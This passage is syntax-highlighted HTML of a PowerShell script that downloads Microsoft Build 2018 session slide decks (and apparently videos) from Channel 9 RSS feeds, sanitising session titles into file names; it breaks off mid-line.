&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;171&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#171&#34;&gt;171&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;172&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#172&#34;&gt;172&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;173&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#173&#34;&gt;173&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;174&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#174&#34;&gt;174&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;175&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#175&#34;&gt;175&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;176&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#176&#34;&gt;176&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;177&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#177&#34;&gt;177&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;178&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#178&#34;&gt;178&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;179&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#179&#34;&gt;179&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;180&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#180&#34;&gt;180&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;181&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#181&#34;&gt;181&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;182&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#182&#34;&gt;182&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;183&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#183&#34;&gt;183&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;184&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#184&#34;&gt;184&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;185&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#185&#34;&gt;185&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;186&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#186&#34;&gt;186&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;187&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#187&#34;&gt;187&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;188&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#188&#34;&gt;188&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;189&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#189&#34;&gt;189&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;190&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#190&#34;&gt;190&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;191&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#191&#34;&gt;191&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;192&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#192&#34;&gt;192&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;193&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#193&#34;&gt;193&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;194&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#194&#34;&gt;194&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;195&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#195&#34;&gt;195&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;196&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#196&#34;&gt;196&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;197&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#197&#34;&gt;197&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;198&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#198&#34;&gt;198&lt;/a&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style=&#34;vertical-align:top;padding:0;margin:0;border:0;;width:100%&#34;&gt;
&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-powershell&#34; data-lang=&#34;powershell&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Comments that you should read, before you kick this off. Yes, seriously. :)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# 1. Setup the folder where to download using the parameters outlined below&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# 2. Loop through and get the slides first&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# 3. Finally, loop through and get the videos last&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; &lt;span style=&#34;color:#c6a0f6&#34;&gt;param&lt;/span&gt; (
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    [&lt;span style=&#34;color:#eed49f&#34;&gt;string&lt;/span&gt;]&lt;span style=&#34;color:#f4dbd6&#34;&gt;$path&lt;/span&gt; = &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;C:\build-2018\&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    [&lt;span style=&#34;color:#eed49f&#34;&gt;switch&lt;/span&gt;]&lt;span style=&#34;color:#f4dbd6&#34;&gt;$sessionvideo&lt;/span&gt; = &lt;span style=&#34;color:#f4dbd6&#34;&gt;$true&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    [&lt;span style=&#34;color:#eed49f&#34;&gt;int&lt;/span&gt;][&lt;span style=&#34;color:#91d7e3&#34;&gt;ValidateRange&lt;/span&gt;(&lt;span style=&#34;color:#f5a97f&#34;&gt;1&lt;/span&gt;,&lt;span style=&#34;color:#f5a97f&#34;&gt;3&lt;/span&gt;)]&lt;span style=&#34;color:#f4dbd6&#34;&gt;$videoquality&lt;/span&gt; = &lt;span style=&#34;color:#f5a97f&#34;&gt;3&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    [&lt;span style=&#34;color:#eed49f&#34;&gt;switch&lt;/span&gt;]&lt;span style=&#34;color:#f4dbd6&#34;&gt;$sessiondeck&lt;/span&gt; = &lt;span style=&#34;color:#f4dbd6&#34;&gt;$true&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; )
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;[&lt;span style=&#34;color:#eed49f&#34;&gt;Environment&lt;/span&gt;]::CurrentDirectory=(&lt;span style=&#34;color:#91d7e3&#34;&gt;Get-Location&lt;/span&gt; -PSProvider FileSystem).&lt;span style=&#34;color:#f5a97f&#34;&gt;ProviderPath&lt;/span&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f4dbd6&#34;&gt;$rss&lt;/span&gt; = (&lt;span style=&#34;color:#91d7e3&#34;&gt;new-object&lt;/span&gt; net.webclient)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;#Filenames might get long, so keep this short!&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;#$downloadlocation = &amp;#34;D:\build-2018&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#c6a0f6&#34;&gt;if&lt;/span&gt; (&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;-not&lt;/span&gt; (&lt;span style=&#34;color:#91d7e3&#34;&gt;Test-Path&lt;/span&gt; &lt;span style=&#34;color:#f4dbd6&#34;&gt;$path&lt;/span&gt;)) {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#91d7e3&#34;&gt;Write-Host&lt;/span&gt; &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;Folder &lt;/span&gt;&lt;span style=&#34;color:#f4dbd6&#34;&gt;$fpath&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt; dosen&amp;#39;t exist. Creating it...&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#91d7e3&#34;&gt;New-Item&lt;/span&gt; &lt;span style=&#34;color:#f4dbd6&#34;&gt;$path&lt;/span&gt; -type directory 
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#91d7e3&#34;&gt;set-location&lt;/span&gt; &lt;span style=&#34;color:#f4dbd6&#34;&gt;$path&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#c6a0f6&#34;&gt;if&lt;/span&gt;(&lt;span style=&#34;color:#f4dbd6&#34;&gt;$sessiondeck&lt;/span&gt;) {  
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Grab the Slides RSS feed - Build 2018&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f4dbd6&#34;&gt;$slides&lt;/span&gt; = (&lt;span style=&#34;color:#f4dbd6&#34;&gt;$rss&lt;/span&gt;.&lt;span style=&#34;color:#f5a97f&#34;&gt;downloadstring&lt;/span&gt;(&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;http://s.ch9.ms/events/build/2018/rss/slides&amp;#34;&lt;/span&gt;)) 
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# ********** download the decks **********&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;try&lt;/span&gt; { 
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#c6a0f6&#34;&gt;foreach&lt;/span&gt;(&lt;span style=&#34;color:#f4dbd6&#34;&gt;$item&lt;/span&gt; &lt;span style=&#34;color:#c6a0f6&#34;&gt;in&lt;/span&gt; &lt;span style=&#34;color:#f4dbd6&#34;&gt;$slides&lt;/span&gt;.&lt;span style=&#34;color:#f5a97f&#34;&gt;rss&lt;/span&gt;.&lt;span style=&#34;color:#f5a97f&#34;&gt;channel&lt;/span&gt;.item) {  
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#f4dbd6&#34;&gt;$code&lt;/span&gt; = &lt;span style=&#34;color:#f4dbd6&#34;&gt;$item&lt;/span&gt;.&lt;span style=&#34;color:#f5a97f&#34;&gt;comments&lt;/span&gt;.&lt;span style=&#34;color:#f5a97f&#34;&gt;split&lt;/span&gt;(&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;/&amp;#34;&lt;/span&gt;) | &lt;span style=&#34;color:#91d7e3&#34;&gt;select &lt;/span&gt;-last &lt;span style=&#34;color:#f5a97f&#34;&gt;1&lt;/span&gt;     
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;     
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Get the url for the pptx file&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#f4dbd6&#34;&gt;$urlpptx&lt;/span&gt; = &lt;span style=&#34;color:#91d7e3&#34;&gt;New-Object&lt;/span&gt; System.&lt;span style=&#34;color:#f5a97f&#34;&gt;Uri&lt;/span&gt;(&lt;span style=&#34;color:#f4dbd6&#34;&gt;$item&lt;/span&gt;.&lt;span style=&#34;color:#f5a97f&#34;&gt;enclosure&lt;/span&gt;.url)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;         
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# make the filename readable&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#f4dbd6&#34;&gt;$filepptx&lt;/span&gt; = &lt;span style=&#34;color:#f4dbd6&#34;&gt;$code&lt;/span&gt; + &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34; - &amp;#34;&lt;/span&gt; + &lt;span style=&#34;color:#f4dbd6&#34;&gt;$item&lt;/span&gt;.&lt;span style=&#34;color:#f5a97f&#34;&gt;title&lt;/span&gt;.&lt;span style=&#34;color:#f5a97f&#34;&gt;Replace&lt;/span&gt;(&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;:&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;-&amp;#34;&lt;/span&gt;).&lt;span style=&#34;color:#f5a97f&#34;&gt;Replace&lt;/span&gt;(&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;?&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;).&lt;span style=&#34;color:#f5a97f&#34;&gt;Replace&lt;/span&gt;(&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;/&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;-&amp;#34;&lt;/span&gt;).&lt;span style=&#34;color:#f5a97f&#34;&gt;Replace&lt;/span&gt;(&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&amp;amp;lt;&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;).&lt;span style=&#34;color:#f5a97f&#34;&gt;Replace&lt;/span&gt;(&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;|&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;).&lt;span style=&#34;color:#f5a97f&#34;&gt;Replace&lt;/span&gt;(&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;&amp;#34;&amp;#39;&lt;/span&gt;,&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;).&lt;span style=&#34;color:#f5a97f&#34;&gt;Replace&lt;/span&gt;(&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;*&amp;#34;&lt;/span&gt;,&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;).&lt;span style=&#34;color:#f5a97f&#34;&gt;Replace&lt;/span&gt;(&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;’&amp;#34;&lt;/span&gt;,&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&amp;#39;&amp;#34;&lt;/span&gt;).&lt;span style=&#34;color:#f5a97f&#34;&gt;Replace&lt;/span&gt;(&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;â€&amp;#34;&lt;/span&gt;,&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;).&lt;span style=&#34;color:#f5a97f&#34;&gt;Replace&lt;/span&gt;(&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&amp;#39;NEW SESSION&amp;#39;&amp;#34;&lt;/span&gt;,&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;).&lt;span style=&#34;color:#f5a97f&#34;&gt;Replace&lt;/span&gt;(&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;™&amp;#34;&lt;/span&gt;,&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;).&lt;span style=&#34;color:#f5a97f&#34;&gt;Replace&lt;/span&gt;(&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;œ&amp;#34;&lt;/span&gt;,&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#f4dbd6&#34;&gt;$filepptx&lt;/span&gt; = &lt;span style=&#34;color:#f4dbd6&#34;&gt;$filepptx&lt;/span&gt;.&lt;span style=&#34;color:#f5a97f&#34;&gt;substring&lt;/span&gt;(&lt;span style=&#34;color:#f5a97f&#34;&gt;0&lt;/span&gt;, [&lt;span style=&#34;color:#eed49f&#34;&gt;System.Math&lt;/span&gt;]::Min(&lt;span style=&#34;color:#f5a97f&#34;&gt;120&lt;/span&gt;, &lt;span style=&#34;color:#f4dbd6&#34;&gt;$filepptx&lt;/span&gt;.Length))
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#f4dbd6&#34;&gt;$filepptx&lt;/span&gt; = &lt;span style=&#34;color:#f4dbd6&#34;&gt;$filepptx&lt;/span&gt;.&lt;span style=&#34;color:#f5a97f&#34;&gt;trim&lt;/span&gt;()
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#f4dbd6&#34;&gt;$filejpg&lt;/span&gt; = &lt;span style=&#34;color:#f4dbd6&#34;&gt;$filepptx&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#f4dbd6&#34;&gt;$filepptx&lt;/span&gt; = &lt;span style=&#34;color:#f4dbd6&#34;&gt;$filepptx&lt;/span&gt; + &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;.pptx&amp;#34;&lt;/span&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#f4dbd6&#34;&gt;$filejpg&lt;/span&gt; = &lt;span style=&#34;color:#f4dbd6&#34;&gt;$filejpg&lt;/span&gt; + &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;_960.png&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#f4dbd6&#34;&gt;$folder&lt;/span&gt; = &lt;span style=&#34;color:#f4dbd6&#34;&gt;$item&lt;/span&gt;.&lt;span style=&#34;color:#f5a97f&#34;&gt;title&lt;/span&gt;.&lt;span style=&#34;color:#f5a97f&#34;&gt;Replace&lt;/span&gt;(&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;:&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;-&amp;#34;&lt;/span&gt;).&lt;span style=&#34;color:#f5a97f&#34;&gt;Replace&lt;/span&gt;(&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;?&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;).&lt;span style=&#34;color:#f5a97f&#34;&gt;Replace&lt;/span&gt;(&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;/&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;-&amp;#34;&lt;/span&gt;).&lt;span style=&#34;color:#f5a97f&#34;&gt;Replace&lt;/span&gt;(&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&amp;amp;lt;&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;).&lt;span style=&#34;color:#f5a97f&#34;&gt;Replace&lt;/span&gt;(&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;|&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;).&lt;span style=&#34;color:#f5a97f&#34;&gt;Replace&lt;/span&gt;(&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;&amp;#34;&amp;#39;&lt;/span&gt;,&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;).&lt;span style=&#34;color:#f5a97f&#34;&gt;Replace&lt;/span&gt;(&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;*&amp;#34;&lt;/span&gt;,&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;).&lt;span style=&#34;color:#f5a97f&#34;&gt;Replace&lt;/span&gt;(&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;’&amp;#34;&lt;/span&gt;,&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&amp;#39;&amp;#34;&lt;/span&gt;).&lt;span style=&#34;color:#f5a97f&#34;&gt;Replace&lt;/span&gt;(&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;â€&amp;#34;&lt;/span&gt;,&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;).&lt;span style=&#34;color:#f5a97f&#34;&gt;Replace&lt;/span&gt;(&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&amp;#39;NEW SESSION&amp;#39;&amp;#34;&lt;/span&gt;,&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;).&lt;span style=&#34;color:#f5a97f&#34;&gt;Replace&lt;/span&gt;(&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;™&amp;#34;&lt;/span&gt;,&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;).&lt;span style=&#34;color:#f5a97f&#34;&gt;Replace&lt;/span&gt;(&lt;span 